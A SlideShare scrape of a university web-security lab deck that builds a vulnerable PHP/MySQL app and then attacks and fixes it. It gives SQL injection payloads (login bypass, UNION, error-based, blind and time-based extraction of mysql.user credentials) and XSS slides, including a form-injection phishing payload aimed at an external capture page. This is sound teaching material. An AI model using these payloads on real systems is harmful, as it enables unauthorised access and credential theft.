SlideShare a Scribd company logo
Web Security
Hands-on
Andrea Valenza
avalenza89@gmail.com
Before we start
Don’t be a script kiddie: hack to learn, don’t learn to hack
If you try and it doesn’t work, try harder
Google is your best friend
Exam
1. Home Assignments in Challenge mode
You will be assigned online Practical Challenges to solve
https://www.hackthissite.org/
https://ringzer0team.com/
…
You will write a short Report on your exploit
2. Practical Exam in Capture The Flag mode
Requirements
HTTP Protocol
Sending Parameters over HTTP
Technologies
HTML (CSS is optional… and frowned upon)
JavaScript
Running a simple embedded script
PHP
Virtual Machine
Vagrant https://www.vagrantup.com/
ScotchBox - A simple LAMP stack for Vagrant https://box.scotch.io/
pre-built: https://github.com/AvalZ/websec_tutorial
...or just build a custom VM (VMWare or Virtualbox) with:
Ubuntu (any Debian-based Linux distro will do)
LAMP Stack installed, which means:
Hello World!
(Yes, we have to… sorry… don’t worry, it will be over soon)
1. Open a hello.php file in your Root Web folder
2. <?php
echo “Hello World!”;
?>
3. Go to your favorite Browser
4. Open <IP>/hello.php
Read GET parameters
1. Copy hello.php in hello2.php (we don’t want to lose all that hard work, do we?)
2. Get “GET” parameters
a. $firstname = $_GET[“firstname”]
b. $lastname = $_GET[“lastname”]
3. echo “Hello $firstname $lastname!”
a. WARNING: the “variable in a string” trick will work ONLY with double quotes! (long story…)
4. /hello2.php?firstname=John&lastname=Doe
Simple HTML Form
Tired of writing everything in that tiny URL box? Let’s switch to forms!
1. HTML Form <form action=’hello2.php’>
a. <input type=’text’ name=’firstname’>
b. <input type=’text’ name=’lastname’>
Be careful: these “name” fields are the same as in the $_GET array!
2. Point it to the PHP page that displays “Hello firstname lastname!”
SQL Basics
SELECT
FROM
WHERE
LIMIT
ORDER BY / GROUP BY
INSERT
UPDATE
Mandatory xkcd slide (a.k.a. Stacked Queries)
Stacked queries
Query: SELECT * FROM Students WHERE(name=’$name’)
Payload: Robert’); DROP TABLE Students;--
SELECT * FROM Students WHERE(name=’Robert’); DROP TABLE Students;-- ’)
Creating a SQL Database
Go to your MySQL Interpreter (either CLI, MySQL Workbench, or PHP)
CREATE DATABASE websec;
Now create a table inside it
CREATE TABLE websec.users (
id int NOT NULL AUTO_INCREMENT,
username varchar(100) NOT NULL,
password varchar(100),
signature varchar(255),
PRIMARY KEY (id)
Add some data in your table
INSERT INTO users (first_name,last_name,signature)
VALUES (‘Arthur’, ‘Bathrobe’, ‘Is there any tea on this spaceship?’);
INSERT INTO users (first_name,last_name,signature)
VALUES (‘Ford’, ‘Betelgeuse’, ‘Don’’t panic... don’’t panic...’);
NOTE: quotes are escaped by doubling, not one double-quote, but two single-quotes
“But everyone told us not to store passwords as plaintext”
Creating a SQL Database
1. HTML Form with:
a. <form action=’login.php’ method=’POST’>
b. <input type=’text’ name=’user’>
c. <input type=’password’ name=’pass’>
2. Form should POST credentials to PHP page
a. $user = $_POST[‘user’];
b. $pass = $_POST[‘pass’];
Login Form
Login Form - EXPLOIT
Can you login as ‘Arthur’ without knowing his password?
Query: SELECT * FROM users WHERE username=’$user’ AND password=’$pass’
Payload:
username: Arthur’ -- -
password: anything
Why does this work?
Login Form - EXPLOIT
What if you had multiple “Arthur” users with different passwords?
What if the page checks for exactly one row instead of at least one row?
Query: SELECT * FROM users WHERE username=’$user’ AND password=’$pass’
Payload:
username: Arthur’ LIMIT 1 -- -
password: anything
Why does this work?
Login Form - EXPLOIT
What if you don’t know any username?
Query: SELECT * FROM users WHERE username=’$user’ AND password=’$pass’
Payload:
username: any
password: a’ OR ‘b’=’b
Why does this work?
Login Form - EXPLOIT
What if you don’t know any username AND the page checks for one result?
Query: SELECT * FROM users WHERE username=’$user’ AND password=’$pass’
Payload:
username: any
password: a’ OR True LIMIT 3,1 -- -
Why does this work?
Get Data from MySQL DB
1. Query String
a. $payload = $_GET[‘payload’]; // or you could use $_POST[‘payload’] if you wish
b. “SELECT * FROM users WHERE username=’$payload’”
2. Submit string to DB
a. Call ->query method on open connection
3. Iterate over results cursor
a. Use ->fetch_assoc(), it will return a row as an associative array
Get Data from MySQL DB - EXPLOIT
Always True WHERE clause
Query: SELECT * FROM users WHERE username=’$payload’
Payload: Arthur’ OR ‘a’=’a
SELECT * FROM users WHERE username=’Arthur’ OR ‘a’=’a’
SELECT * FROM users WHERE username=’Arthur’ OR ‘a’=’a’
Get Data from MySQL DB - EXPLOIT
UNION Based SQL Injection
Query: SELECT * FROM users WHERE username=’$payload’
Payload: Arthur’ UNION ALL SELECT user AS username, null AS id,password
AS
password,NULL FROM mysql.user -- -
SELECT * FROM users WHERE username=’Arthur’ UNION ALL SELECT user AS username,
null AS id,password AS password,NULL FROM mysql.user -- -’
SELECT * FROM users WHERE username=’Arthur’
Get Data from MySQL DB - EXPLOIT
Error Based SQL Injection
Query: SELECT * FROM users WHERE username=’$payload’
Payload: Arthur’ AND ExtractValue(0, CONCAT( 0x5c, User() ) ) -- -
SELECT * FROM users WHERE username=’Arthur’
AND ExtractValue(0, CONCAT( 0x5c, User() ) ) -- -’
0x5c is the  character in ASCII
SELECT * FROM users WHERE username=’Arthur’ AND ExtractValue(0, user@host ) ) -- -’
Recap
Server-side attacks
SQL Injection
Stacked queries
Login Bypass
“Always True” clause
UNION Based SQL Injection
Error Based SQL Injection
Get Data from MySQL DB - FIX
mysql_real_escape_string
$payload = mysql_real_escape_string($_POST[‘payload’]);
This function sanitizes the string and doesn’t let you perform injections…
… or does it??? *insert evil laugh*
It actually does for this particular code, but be careful:
NO SILVER BULLET
How does mysql_real_escape_string work?
Display user info
1. We need a page to display information on a single user
$id = mysql_real_escape_string($_GET[‘id’]); // what could go wrong? I’m sanitizing!!!
“SELECT * FROM users WHERE id=$id” // no quotes around $id since it’s an integer value
2. Submit string to DB
Call ->query method on open connection
3. Check for results (might be an empty set)
Get the resulting row (should only be one, since id is a UNIQUE field)
Display user info - EXPLOIT
Normal query (with existing id)
Query: SELECT * FROM users WHERE id=$id
Payload: 1
SELECT * FROM users WHERE id=1
“WTF??? No quotes? Can you even do that???”
Yes, you can
“But then… what about string terminators? I don’t need one to close the argument”
Display user info - EXPLOIT
Normal query (with non-existing id)
Query: SELECT * FROM users WHERE id=$id
Payload: 404
SELECT * FROM users WHERE id=404
(still no quotes here, Yoda saying wise stuff again)
Display user info - EXPLOIT
“Always” true query (id must exist)
Query: SELECT * FROM users WHERE id=$id
Payload: 1 AND True
SELECT * FROM users WHERE id=1 AND True
Display user info - EXPLOIT
Always false query
Query: SELECT * FROM users WHERE id=$id
Payload: 1 AND False
SELECT * FROM users WHERE id=1 AND False
Display user info - EXPLOIT
Blind Injections
The result page can’t display any additional information
It can only answer YES or NO (in our page: “user info” or “no user found”)
We know that Left-hand-side argument of our AND is true (id=1)
but what about the Right-hand-side?
AND True
True if left-hand-side is True True AND True => True
AND False
Display user info - EXPLOIT
Boolean-Based Blind Injections
Brute Force
The value of X can be inferred from the page output, but it can’t be read directly
If X is some generic condition, we can evaluate it and get True or False
… AND LENGTH(password)>2
[For the examined user] Evaluate if the password field is longer than 2 characters
If it is, the page will display user information as usual
Display user info - EXPLOIT
Boolean-Based Blind Injections
“Smarter” Brute Force - Step 1
First, we get the password field length
Query: SELECT * FROM users WHERE id=$id
Payload: 1 AND LENGTH(password)=1
1 AND LENGTH(password)=2
…
Display user info - EXPLOIT
Boolean-Based Blind Injections
“Smarter” Brute Force - Step 2 ver.0
Now that we have the length, we can bruteforce on strings of that length
Uppercase and Lowercase
Query: SELECT * FROM users WHERE id=$id
Payload: 1 AND password=”aaaaaaaa”
1 AND password=”aaaaaaab”
…
Display user info - EXPLOIT
Boolean-Based Blind Injections
Smarter Brute Force (linear search) - Step 2 ver.1
If we have the length, we can slice the password and find each character by itself
We go from 94^8 to 94*8 (case-insensitive printable ASCII characters except space)
Query: SELECT * FROM users WHERE id=$id
Payload: 1 AND MID(password,1,1)=”a”
1 AND MID(password,1,1)=”b”
…
Display user info - EXPLOIT
Boolean-Based Blind Injections
Smarter Brute Force (binary search) - Step 2 ver.2
Since ASCII is sorted, we can binary search it
O(n) to O(log(n)) and that kind of weird stuff… bottom line: it’s faster than linear search
Query: SELECT * FROM users WHERE id=$id
Payload: 1 AND ORD(MID(password,1,1))>64
1 AND ORD(MID(password,1,1))>96
…
Display user info - EXPLOIT
Boolean-Based Blind Injections
But what if you wanted to extract data from another table?
Nested queries
Query: SELECT * FROM users WHERE id=$id
Payload: 1 AND ORD(MID( (SELECT user FROM mysql.user LIMIT 0,1)
,1,1))>64
1 AND ORD(MID( (SELECT user FROM mysql.user LIMIT
0,1) ,1,1))>96
Login Form
Let’s refine our login form to really keep track of logged users
1. start_session();
2. $_SESSION[‘user’] = $user;
3. $_SESSION[‘id’] = $row[‘id’];
4. echo “Welcome {$_SESSION[‘user’]}!”;
Private Messaging System
Create a Message table
CREATE TABLE websec.messages (
id int NOT NULL AUTO_INCREMENT,
from_id int NOT NULL,
to_id int NOT NULL,
content varchar(255),
PRIMARY KEY (id),
FOREIGN KEY (from_id) REFERENCES websec.users(id),
FOREIGN KEY (to_id) REFERENCES websec.users(id)
);
Private Messaging System
Select all received messages by the logged user (the “elegant” way)
SELECT
m.id AS “id”;
u1.username AS “from”,
u2.username AS “to”,
m.content
FROM
messages m
INNER JOIN users u1
ON m.from_id=u1.id
INNER JOIN users u2
ON m.to_id=u2.id
WHERE m.to_id={ $_SESSION[‘id’] } // we need start_session() in this
Private Messaging System
Insert a message (being logged as Arthur, id is 1)
Time-based Blind Injection
Query: INSERT INTO websec.messages (from_id, to_id, content)
VALUES ({$_SESSION[‘id’]}, $to, ‘Hi Ford!’);
Payload: 2
INSERT INTO websec.messages (from_id, to_id, content) VALUES (1, 2, ‘Hi Ford!’)
Private Messaging System - EXPLOIT
Inserting a message (being logged as Arthur, id is 1)
Time-based Blind Injection
Query: INSERT INTO websec.messages (from_id, to_id, content)
VALUES ({$_SESSION[‘id’]}, $to, ‘Hi Ford!’);
Payload: SLEEP(10)
INSERT INTO websec.messages (from_id, to_id, content)
VALUES (1, SLEEP(10), ‘Hi Ford!’)
Private Messaging System - EXPLOIT
Inserting a message (being logged as Arthur, id is 1)
Time-based Blind Injection
Query: INSERT INTO websec.messages (from_id, to_id, content)
VALUES ({$_SESSION[‘id’]}, $to, ‘Hi Ford!’);
Payload: IF ( ORD(MID((SELECT user FROM mysql.user LIMIT 0,1)
,1,1))>64,
SLEEP(10),
SLEEP(0) )
INSERT INTO websec.messages (from_id, to_id, content) VALUES (1, IF..., ‘Hi Ford!’)
Handling passwords in your DB
Plaintext passwords
Attackers can steal login credentials
Ciphered passwords (but how?)
MD5
Tool: John the Ripper
Can be guessed using Dictionary Attack
Easily “reversible” Collision Attack
SHA-1
Private Messaging System - FIX
Context awareness (we’re sanitizing integers as strings)
mysql_real_escape_string does not escape non-string arguments
but we can still “cast” a value to Integer
$safe_id = (int)$id
Completely avoid mixing Code and Data
Prepared Statements
Prepare a query $stmt = $con->prepare(“SELECT * FROM users WHERE id=?”);
Recap
Server-side attacks
SQL Injection
Stacked queries
Login Bypass
“Always True” clause
UNION Based SQL Injection
Error Based SQL Injection
So we’re done! ... right?
We avoided server-side attacks! Yay!
… but what about the users?
Remember that “Read GET parameters” slide?
Did we see a “Read GET parameters - EXPLOIT”?
“How can we exploit such a simple script?”
Read GET parameters - EXPLOIT
XSS Reflected (a.k.a. “why would I ever attack myself?”)
You may use the Simple HTML Form, if you wish (and please, use Firefox for this part)
Code: $firstname = $_POST[‘firstname’];
$lastname = $_POST[‘lastname’];
echo “Hello $firstname $lastname!”;
Payload:
firstname: John
Read GET parameters - EXPLOIT
XSS Reflected
We can try adding some HTML to our parameters and see if the page renders it
Code: $firstname = $_POST[‘firstname’];
$lastname = $_POST[‘lastname’];
echo “Hello $firstname $lastname!”;
Payload:
firstname: <i>John</i>
Read GET parameters - EXPLOIT
XSS Reflected
Form Injection
By adding custom HTML, we can try and go for a Phishing Attack
Code: $firstname = $_POST[‘firstname’];
$lastname = $_POST[‘lastname’];
echo “Hello $firstname $lastname!”;
Payload:
firstname: <form action=”http://www.mysite.it/capture_page.php”>
Read GET parameters - EXPLOIT
XSS Reflected
That was nice, but let’s see how far we can go!
Code: $firstname = $_POST[‘firstname’];
$lastname = $_POST[‘lastname’];
echo “Hello $firstname $lastname!”;
Payload:
firstname: John
Read GET parameters - EXPLOIT
XSS Reflected
That “1” wasn’t so exciting, is there anything important we can display from the DOM?
Remember your “HTTP is Stateless” mantra? What makes it Stateful?
Code: $firstname = $_POST[‘firstname’];
$lastname = $_POST[‘lastname’];
echo “Hello $firstname $lastname!”;
Payload:
firstname: John
Read GET parameters - EXPLOIT
XSS Reflected
Reading cookies is cool! But what about making the page perform some action?
Code: $firstname = $_POST[‘firstname’];
$lastname = $_POST[‘lastname’];
echo “Hello $firstname $lastname!”;
Payload:
firstname: John
Read GET parameters - EXPLOIT
XSS Reflected
Session Hijack (stealing cookies)
I could send my* cookies somewhere! *Cookies may actually not be mine.
Code: $firstname = $_POST[‘firstname’];
$lastname = $_POST[‘lastname’];
echo “Hello $firstname $lastname!”;
Payload:
firstname: John
Read GET parameters - EXPLOIT
XSS Reflected
Session Hijack (covert)
But can’t we do it without redirection?
Code: $firstname = $_POST[‘firstname’];
$lastname = $_POST[‘lastname’];
echo “Hello $firstname $lastname!”;
Payload:
firstname: John
Read GET parameters - FIX
Block <script> tags
We could just remove the “script” tags, so that no JavaScript code can be executed!
Code: $firstname = preg_replace("/script/i", "",
$_POST[‘firstname’]);
$lastname = preg_replace("/script/i", "",
$_POST[‘lastname’]);
echo “Hello $firstname $lastname!”;
Payload:
Read GET parameters - EXPLOIT
XSS Reflected - Bypass <script> tags block
Can we ONLY insert JavaScript code in <script> tags?
Not ONLY that: HTML elements have on* attributes (onload, onerror, … )
Code: $firstname = preg_replace("/script/i", "",
$_POST[‘firstname’]);
$lastname = preg_replace("/script/i", "",
$_POST[‘lastname’]);
echo “Hello $firstname $lastname!”;
Payload:
Read GET parameters - FIX
XSS Reflected - Chrome XSS Auditor
Why did we have to work on Firefox? Can’t we work on Chrome?
Code: $firstname = preg_replace("/script/i", "",
$_POST[‘firstname’]);
$lastname = preg_replace("/script/i", "",
$_POST[‘lastname’]);
echo “Hello $firstname $lastname!”;
Payload:
Read GET parameters - EXPLOIT
XSS Reflected - Bypassing Chrome XSS Auditor
Chrome only checks if a parameter appears in the HTML Body too
If it appears in a parameter and in the body, Chrome blocks its execution
Code: $firstname = preg_replace("/script/i", "",
$_POST[‘firstname’]);
$lastname = preg_replace("/script/i", "",
$_POST[‘lastname’]);
echo “Hello $firstname $lastname!”;
Payload:
Read GET parameters - EXPLOIT
XSS Reflected - Bypassing Chrome XSS Auditor
Chrome only checks if a parameter appears in the HTML Body too
It checks for each parameter, but doesn’t cross-check! ( … pun intended)
Code: $firstname = $_POST[‘firstname’]; // removing script is
useless …
$lastname = $_POST[‘lastname’]; // no need
for it now
echo “Hello $firstname $lastname!”;
Payload:
Private Messaging System -
EXPLOIT
XSS Stored
Chrome XSS Auditor won’t work here, it only checks for GET parameters
Code: echo “From: <b>{$row[‘from’]}</b> &lt; {$row[‘content’]}”;
// Next level HTML formatting :V
Payload: | id | from |
to | content |
| 2 | Ford |
Arthur | Hi Arthur! How are you? |
Private Messaging System -
EXPLOIT
XSS Stored
A simple XSS: this one is just annoying, not really malicious
Code: echo “From: <b>{$row[‘from’]}</b> &lt; {$row[‘content’]}”;
Payload: | id | from |
to | content |
| 2 | Ford |
Arthur | Hi Arthur! How are you? |
Private Messaging System -
EXPLOIT
XSS Stored
iFrame Injection
Code: echo “From: <b>{$row[‘from’]}</b> &lt; {$row[‘content’]}”;
Payload: | id | from |
to | content |
| 2 | Ford |
Arthur | Hi Arthur! How are you? |
Private Messaging System - FIX
htmlspecialchars($string, ENT_QUOTES, 'UTF-8')
We have to sanitize all outputs to the client
Code: $from = htmlspecialchars($row[‘from’]);
$content = htmlspecialchars($row[‘content’]);
echo “From: <b>$from</b> &lt; $content”;
Payload: | id | from |
to | content |
| 2 | Ford |
Recap
Server-side attacks
SQL Injection
Stacked queries
Login Bypass
“Always True” clause
UNION Based SQL Injection
Error Based SQL Injection
Client-side attacks
XSS
XSS Reflected
Form Injection
Session Hijack
Session Hijack (covert)
Bypass XSS Auditor

More Related Content

ODP
My app is secure... I think
ODP
My app is secure... I think
PDF
Hacking Your Way To Better Security - php[tek] 2016
PPTX
Hacking Your Way To Better Security - Dutch PHP Conference 2016
PDF
My app is secure... I think
PPTX
Unobtrusive javascript with jQuery
PDF
Class-based views with Django
My app is secure... I think
My app is secure... I think
Hacking Your Way To Better Security - php[tek] 2016
Hacking Your Way To Better Security - Dutch PHP Conference 2016
My app is secure... I think
Unobtrusive javascript with jQuery
Class-based views with Django

What's hot (17)

PDF
jQuery Features to Avoid
ODP
My app is secure... I think
PPTX
Hacking Your Way to Better Security - PHP South Africa 2016
PDF
Hacking Your Way To Better Security
PPTX
jQuery Fundamentals
ODP
My app is secure... I think
PDF
Php Security - OWASP
PPTX
Crafting beautiful software
PDF
Возможности, особенности и проблемы AR::Relation
PDF
New methods for exploiting ORM injections in Java applications
KEY
Symfony2 Building on Alpha / Beta technology
PPTX
Art of Javascript
PDF
Introduction to jQuery
KEY
The jQuery Library
PPTX
jQuery
PDF
Web2py
PPTX
A to Z about JQuery - Become Newbie to Expert Java Developer
jQuery Features to Avoid
My app is secure... I think
Hacking Your Way to Better Security - PHP South Africa 2016
Hacking Your Way To Better Security
jQuery Fundamentals
My app is secure... I think
Php Security - OWASP
Crafting beautiful software
Возможности, особенности и проблемы AR::Relation
New methods for exploiting ORM injections in Java applications
Symfony2 Building on Alpha / Beta technology
Art of Javascript
Introduction to jQuery
The jQuery Library
jQuery
Web2py
A to Z about JQuery - Become Newbie to Expert Java Developer
Ad

Viewers also liked (10)

PPT
Making better technology choices
PDF
SMITE World Championship 2016 (Digital)
ODP
Presentacio smite
ODP
Introduction to DNS
PDF
DNS - Domain Name System
PPTX
Analysis of 1G, 2G, 3G & 4G
PPS
Ip address
PPT
Dns ppt
PPTX
Growing Up Wired
PPT
Presentation on 1G/2G/3G/4G/5G/Cellular & Wireless Technologies
Making better technology choices
SMITE World Championship 2016 (Digital)
Presentacio smite
Introduction to DNS
DNS - Domain Name System
Analysis of 1G, 2G, 3G & 4G
Ip address
Dns ppt
Growing Up Wired
Presentation on 1G/2G/3G/4G/5G/Cellular & Wireless Technologies
Ad

Similar to Web Security - Hands-on (20)

PDF
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
PDF
&lt;x> Rails Web App Security Title
PDF
Sql Injection Myths and Fallacies
PDF
10 Rules for Safer Code
PDF
10 Rules for Safer Code [Odoo Experience 2016]
PPTX
Sql injection
ODP
My app is secure... I think
PPTX
Playing With (B)Sqli
PPT
Advanced Sql Injection ENG
PDF
SummaryHW6 Account ManagementIn HW4, you kept track of multiple.pdf
PPT
Security.ppt
PPT
12-security.ppt - PHP and Arabic Language - Index
PDF
2014 database - course 3 - PHP and MySQL
PPT
SQL Injection Attacks
ODP
My app is secure... I think
PDF
PHP Secure Programming
PDF
Introduction to Active Record - Silicon Valley Ruby Conference 2007
PPT
Sql injection
PDF
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
PPT
Intro to php
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
&lt;x> Rails Web App Security Title
Sql Injection Myths and Fallacies
10 Rules for Safer Code
10 Rules for Safer Code [Odoo Experience 2016]
Sql injection
My app is secure... I think
Playing With (B)Sqli
Advanced Sql Injection ENG
SummaryHW6 Account ManagementIn HW4, you kept track of multiple.pdf
Security.ppt
12-security.ppt - PHP and Arabic Language - Index
2014 database - course 3 - PHP and MySQL
SQL Injection Attacks
My app is secure... I think
PHP Secure Programming
Introduction to Active Record - Silicon Valley Ruby Conference 2007
Sql injection
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
Intro to php

Recently uploaded (20)

PPTX
Transform Your Business with a Software ERP System
PDF
Upgrade and Innovation Strategies for SAP ERP Customers
PPTX
CHAPTER 12 - CYBER SECURITY AND FUTURE SKILLS (1) (1).pptx
PDF
How Creative Agencies Leverage Project Management Software.pdf
PDF
Audit Checklist Design Aligning with ISO, IATF, and Industry Standards — Omne...
PPTX
ai tools demonstartion for schools and inter college
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PDF
Understanding Forklifts - TECH EHS Solution
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
PDF
Design an Analysis of Algorithms II-SECS-1021-03
PDF
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
PDF
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
How to Migrate SBCGlobal Email to Yahoo Easily
PDF
Softaken Excel to vCard Converter Software.pdf
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 41
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PPTX
Online Work Permit System for Fast Permit Processing
PPTX
VVF-Customer-Presentation2025-Ver1.9.pptx
Transform Your Business with a Software ERP System
Upgrade and Innovation Strategies for SAP ERP Customers
CHAPTER 12 - CYBER SECURITY AND FUTURE SKILLS (1) (1).pptx
How Creative Agencies Leverage Project Management Software.pdf
Audit Checklist Design Aligning with ISO, IATF, and Industry Standards — Omne...
ai tools demonstartion for schools and inter college
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
Understanding Forklifts - TECH EHS Solution
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
Design an Analysis of Algorithms II-SECS-1021-03
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
Adobe Illustrator 28.6 Crack My Vision of Vector Design
How to Migrate SBCGlobal Email to Yahoo Easily
Softaken Excel to vCard Converter Software.pdf
Internet Downloader Manager (IDM) Crack 6.42 Build 41
Design an Analysis of Algorithms I-SECS-1021-03
2025 Textile ERP Trends: SAP, Odoo & Oracle
Online Work Permit System for Fast Permit Processing
VVF-Customer-Presentation2025-Ver1.9.pptx

Web Security - Hands-on

  • 2. Before we start Don’t be a script kiddie: hack to learn, don’t learn to hack If you try and it doesn’t work, try harder Google is your best friend
  • 3. Exam 1. Home Assignments in Challenge mode You will be assigned online Practical Challenges to solve https://www.hackthissite.org/ https://ringzer0team.com/ … You will write a short Report on your exploit 2. Practical Exam in Capture The Flag mode
  • 4. Requirements HTTP Protocol Sending Parameters over HTTP Technologies HTML (CSS is optional… and frowned upon) JavaScript Running a simple embedded script PHP
  • 5. Virtual Machine Vagrant https://www.vagrantup.com/ ScotchBox - A simple LAMP stack for Vagrant https://box.scotch.io/ pre-built: https://github.com/AvalZ/websec_tutorial ...or just build a custom VM (VMWare or Virtualbox) with: Ubuntu (any Debian-based Linux distro will do) LAMP Stack installed, which means:
  • 6. Hello World! (Yes, we have to… sorry… don’t worry, it will be over soon) 1. Open a hello.php file in your Root Web folder 2. <?php echo “Hello World!”; ?> 3. Go to your favorite Browser 4. Open <IP>/hello.php
  • 7. Read GET parameters 1. Copy hello.php in hello2.php (we don’t want to lose all that hard work, do we?) 2. Get “GET” parameters a. $firstname = $_GET[“firstname”] b. $lastname = $_GET[“lastname”] 3. echo “Hello $firstname $lastname!” a. WARNING: the “variable in a string” trick will work ONLY with double quotes! (long story…) 4. /hello2.php?firstname=John&lastname=Doe
  • 8. Simple HTML Form Tired of writing everything in that tiny URL box? Let’s switch to forms! 1. HTML Form <form action=’hello2.php’> a. <input type=’text’ name=’firstname’> b. <input type=’text’ name=’lastname’> Be careful: these “name” fields are the same as in the $_GET array! 2. Point it to the PHP page that displays “Hello firstname lastname!”
  • 10. Mandatory xkcd slide (a.k.a. Stacked Queries) Stacked queries Query: SELECT * FROM Students WHERE(name=’$name’) Payload: Robert’); DROP TABLE Students;-- SELECT * FROM Students WHERE(name=’Robert’); DROP TABLE Students;-- ’)
  • 11. Creating a SQL Database Go to your MySQL Interpreter (either CLI, MySQL Workbench, or PHP) CREATE DATABASE websec; Now create a table inside it CREATE TABLE websec.users ( id int NOT NULL AUTO_INCREMENT, username varchar(100) NOT NULL, password varchar(100), signature varchar(255), PRIMARY KEY (id)
  • 12. Add some data in your table INSERT INTO users (first_name,last_name,signature) VALUES (‘Arthur’, ‘Bathrobe’, ‘Is there any tea on this spaceship?’); INSERT INTO users (first_name,last_name,signature) VALUES (‘Ford’, ‘Betelgeuse’, ‘Don’’t panic... don’’t panic...’); NOTE: quotes are escaped by doubling, not one double-quote, but two single-quotes “But everyone told us not to store passwords as plaintext” Creating a SQL Database
  • 13. 1. HTML Form with: a. <form action=’login.php’ method=’POST’> b. <input type=’text’ name=’user’> c. <input type=’password’ name=’pass’> 2. Form should POST credentials to PHP page a. $user = $_POST[‘user’]; b. $pass = $_POST[‘pass’]; Login Form
  • 14. Login Form - EXPLOIT Can you login as ‘Arthur’ without knowing his password? Query: SELECT * FROM users WHERE username=’$user’ AND password=’$pass’ Payload: username: Arthur’ -- - password: anything Why does this work?
  • 15. Login Form - EXPLOIT What if you had multiple “Arthur” users with different passwords? What if the page checks for exactly one row instead of at least one row? Query: SELECT * FROM users WHERE username=’$user’ AND password=’$pass’ Payload: username: Arthur’ LIMIT 1 -- - password: anything Why does this work?
  • 16. Login Form - EXPLOIT What if you don’t know any username? Query: SELECT * FROM users WHERE username=’$user’ AND password=’$pass’ Payload: username: any password: a’ OR ‘b’=’b Why does this work?
  • 17. Login Form - EXPLOIT What if you don’t know any username AND the page checks for one result? Query: SELECT * FROM users WHERE username=’$user’ AND password=’$pass’ Payload: username: any password: a’ OR True LIMIT 3,1 -- - Why does this work?
  • 18. Get Data from MySQL DB 1. Query String a. $payload = $_GET[‘payload’]; // or you could use $_POST[‘payload’] if you wish b. “SELECT * FROM users WHERE username=’$payload’” 2. Submit string to DB a. Call ->query method on open connection 3. Iterate over results cursor a. Use ->fetch_assoc(), it will return a row as an associative array
  • 19. Get Data from MySQL DB - EXPLOIT Always True WHERE clause Query: SELECT * FROM users WHERE username=’$payload’ Payload: Arthur’ OR ‘a’=’a SELECT * FROM users WHERE username=’Arthur’ OR ‘a’=’a’ SELECT * FROM users WHERE username=’Arthur’ OR ‘a’=’a’
  • 20. Get Data from MySQL DB - EXPLOIT UNION Based SQL Injection Query: SELECT * FROM users WHERE username=’$payload’ Payload: Arthur’ UNION ALL SELECT user AS username, null AS id,password AS password,NULL FROM mysql.user -- - SELECT * FROM users WHERE username=’Arthur’ UNION ALL SELECT user AS username, null AS id,password AS password,NULL FROM mysql.user -- -’ SELECT * FROM users WHERE username=’Arthur’
  • 21. Get Data from MySQL DB - EXPLOIT Error Based SQL Injection Query: SELECT * FROM users WHERE username=’$payload’ Payload: Arthur’ AND ExtractValue(0, CONCAT( 0x5c, User() ) ) -- - SELECT * FROM users WHERE username=’Arthur’ AND ExtractValue(0, CONCAT( 0x5c, User() ) ) -- -’ 0x5c is the character in ASCII SELECT * FROM users WHERE username=’Arthur’ AND ExtractValue(0, user@host ) ) -- -’
  • 22. Recap Server-side attacks SQL Injection Stacked queries Login Bypass “Always True” clause UNION Based SQL Injection Error Based SQL Injection
  • 23. Get Data from MySQL DB - FIX mysql_real_escape_string $payload = mysql_real_escape_string($_POST[‘payload’]); This function sanitizes the string and doesn’t let you perform injections… … or does it??? *insert evil laugh* It actually does for this particular code, but be careful: NO SILVER BULLET How does mysql_real_escape_string work?
  • 24. Display user info 1. We need a page to display information on a single user $id = mysql_real_escape_string($_GET[‘id’]); // what could go wrong? I’m sanitizing!!! “SELECT * FROM users WHERE id=$id” // no quotes around $id since it’s an integer value 2. Submit string to DB Call ->query method on open connection 3. Check for results (might be an empty set) Get the resulting row (should only be one, since id is a UNIQUE field)
  • 25. Display user info - EXPLOIT Normal query (with existing id) Query: SELECT * FROM users WHERE id=$id Payload: 1 SELECT * FROM users WHERE id=1 “WTF??? No quotes? Can you even do that???” Yes, you can “But then… what about string terminators? I don’t need one to close the argument”
  • 26. Display user info - EXPLOIT Normal query (with non-existing id) Query: SELECT * FROM users WHERE id=$id Payload: 404 SELECT * FROM users WHERE id=404 (still no quotes here, Yoda saying wise stuff again)
  • 27. Display user info - EXPLOIT “Always” true query (id must exist) Query: SELECT * FROM users WHERE id=$id Payload: 1 AND True SELECT * FROM users WHERE id=1 AND True
  • 28. Display user info - EXPLOIT Always false query Query: SELECT * FROM users WHERE id=$id Payload: 1 AND False SELECT * FROM users WHERE id=1 AND False
  • 29. Display user info - EXPLOIT Blind Injections The result page can’t display any additional information It can only answer YES or NO (in our page: “user info” or “no user found”) We know that Left-hand-side argument of our AND is true (id=1) but what about the Right-hand-side? AND True True if left-hand-side is True True AND True => True AND False
  • 30. Display user info - EXPLOIT Boolean-Based Blind Injections Brute Force The value of X can be inferred from the page output, but it can’t be read directly If X is some generic condition, we can evaluate it and get True or False … AND LENGTH(password)>2 [For the examined user] Evaluate if the password field is longer than 2 characters If it is, the page will display user information as usual
  • 31. Display user info - EXPLOIT Boolean-Based Blind Injections “Smarter” Brute Force - Step 1 First, we get the password field length Query: SELECT * FROM users WHERE id=$id Payload: 1 AND LENGTH(password)=1 1 AND LENGTH(password)=2 …
